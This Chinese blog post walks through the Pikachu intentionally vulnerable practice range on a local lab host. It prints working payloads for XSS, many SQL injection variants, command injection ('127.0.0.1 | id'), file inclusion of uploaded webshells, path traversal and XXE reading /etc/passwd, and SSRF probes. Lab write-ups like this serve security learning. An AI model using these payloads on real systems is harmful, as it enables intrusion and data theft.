pikachu漏靶场洞测试

 

0x00、写在前面

 

这个靶场总体很简单,以演示漏洞为主,没什么弯弯绕

 

 

0x01、暴力破解

1.1 基于表单的暴力破解

普通的登录框,简单的爆破出admin/123456

 

 

 

 

1.2 验证码绕过(on server)

输入验证码后再爆破,验证码没有强制刷新,可以用同一个验证码爆。admin/123456

 

1.3 验证码绕过(on client)

查看源码,这里是前端js验证。

输入正确的验证码开爆就行了。admin/123456

也可以把代码下载到本地,删了onsubmit的内容,这样就不用管验证码了。

 

 

 

 

 

1.4 token防爆破?

多了个每次都会变得token值,token值来自于上一次的网页中,每次都会变。

获取上次访问的网页中的token值,添加到本次的提交中,即可完成爆破。Admin/123456

 

 

 

 

 

 

 

 

 

0x02XSS(跨站脚本)

2.1 反射性xssget

直接message后面加payload<script>confirm(1)</script>

 

2.2 反射性xsspost

只是传输方式变了,登录后输入框写payload<script>confirm(1)</script>

 

 

 

 

2.3 存储型性xsspost

变成存储型了,也没什么区别。输入框写payload<script>confirm(1)</script>

 

 

0x03CSRF

 

 

 

 

0x04SQL注入

4.1 数字型注入(post)

推测sql语句是select name from mail where id=1

直接or 1=1出来了所有数据。

然后就手工测试的一些语句。

 

 

 

4.2 字符型注入(get)

推测sql语句是select name from users where usrname=xx

' or 1=1#出来了所有数据。

 

4.3 搜索型注入

推测sql语句是select name from users where usrname like '%a%';

%' or 1=1#出来了所有数据。

 

4.4 xx型注入

根据报错情况,推测sql语句是select name from users where usrname=(xx)

') or 1=1#出来了所有数据。

 

4.5 "insert/update"注入

推测sql语句是INSERT into user(userName,realName,passWord) VALUES('asi','阿四','gggg')

Payload' or updatexml(1,concat(1,database()),1) or '通过报错出结果

 

 

4.6 "delete"注入

推测sql语句是delete from user WHERE id=5

可以看到删除的时候是发一个get请求,参数是递增的id

payloadhttp://192.168.5.131:8000/vul/sqli/sqli_del.php?id=633 or updatexml(1,concat(1,database()),1),通过报错出结果

 

 

4.7 "http header"注入

先用爆破跑出密码admin/123456

登录进去后发现存储了http头中的信息

还是利用报错,Payload' or updatexml(1,concat(1,database()),1) or '添加在user-agent

 

 

 

 

 

4.8 盲注(base on boolean)

根据之前的信息可以做正常查询

无回显。利用boolean盲注,即可猜解出库名

payload' and ascii(substr(database(),1,1))=112#

 

 

 

4.9 盲注(base on time)

输入什么都是这句话

时间盲注通过返回时间判断。判断正确返回较久

Payloadxx' and if ((substr(database(),1,1))='p',sleep(5),null)#

 

4.10 宽字节注入

Payload1%df' or 1=1#

 

0x05RCE(remote command/code execute)

5.1 exec "ping"

利用管道符拼接要执行的命令

payload127.0.0.1 | id

 

5.2 exec "eval"

执行你想要的php代码

payloadphpinfo();

 

0x06File Inclusion(文件包含漏洞)

6.1 File Inclusion(local)本地文件包含

需要结合之前的上传漏洞传进来的小马

之前传上来的.jpg格式的图马也能解析,当做php执行

payloadhttp://192.168.5.131:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/info.php&submit=%E6%8F%90%E4%BA%A4

payload

http://192.168.5.131:8000/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/tuma.jpg&submit=%E6%8F%90%E4%BA%A4

 

 

 

 

 

6.2 File Inclusion(remote)远程文件包含

还需打开允许远程文件包含的配置

payloadhttp://127.0.0.1/vul/fileinclude/fi_remote.php?filename=http://192.168.5.131:8000/vul/unsafeupload/uploads/info.php&submit=%E6%8F%90%E4%BA%A4

 

 

 

 

0x07、不安全的文件下载概述

7.1 Unsafe Filedownload

修改filename后的值,可以下载服务器上任意文件

payloadhttp://192.168.5.131:8000/vul/unsafedownload/execdownload.php?filename=../down_nba.php

payload

http://192.168.5.131:8000/vul/unsafedownload/execdownload.php?filename=../../../../../../etc/passwd

 

 

 

 

 

0x08、不安全的文件上传

8.1 客户端check

直接传php会拦截,传个图片直接返回路径

把马的后缀改成.php.jpg,上传后通过burp修改文件后缀,改回.php

可以看到传的phpinfo执行

再传个一句话马

 

 

 

 

 

 

8.2 MIME type(服务端check

看题目是限制MIME的头,直接传php文件改Content-Type: image/jpeg。或者制作一个图马上传,抓包后改后缀为php

 

8.3 getimagesize()

上传后的图片会被改名。且上传的文件必须为图片。为服务端验证,这里上传本身不存在什么漏洞,上传个图马后利用其他漏洞来进行解析。

 

0x09、越权

9.1 水平越权

参数username=用户名,修改用户名即可查看其他用户信息

 

 

9.2 垂直越权

该系统分为普通用户和管理员

以普通用户登录,发送创建用户请求,可以看到用户创建成功

 

 

 

 

0x0a、目录遍历漏洞

10.1 目录遍历

通过访问目录可以遍历所有目录

改为http://192.168.5.131:8000/vul/dir/dir_list.php?title=../dir.php即可浏览上层文件,修改参数值可访问任意文件

 

0x0b、敏感信息泄露

11.1 敏感信息泄露

前端源码中有测试账号

 

0x0cphp反序列化

12.1 php反序列化漏洞

把输入反序列化后当做代码执行

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

 

0x0dXXE

13.1 xxe漏洞

通过构造xml,直接读取服务器文件

Payload:

<?xml version = "1.0"?><!DOCTYPE ANY [

 

    <!ENTITY f SYSTEM "file:///etc/passwd">

 

]><x>&f;</x>

 

0x0eURL重定向

13.1 不安全的URL跳转

直接修改参数url的值,即可任意跳转

http://192.168.5.131:8000/vul/urlredirect/urlredirect.php?url=http://www.baidu.com

 

0x0fSSRF

14.1 SSRF(curl)

可以获取服务器内信息

测试端口http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306

读取文件http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

获取信息http://192.168.5.131:8000/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306/info

 

 

 

14.2 SSRF(file_get_content)

可以读取任意文件,也可以读取内网中其他服务器的文件

 

 

posted @ 2021-12-21 10:11  隔壁古二蛋  阅读(138)  评论(0编辑  收藏  举报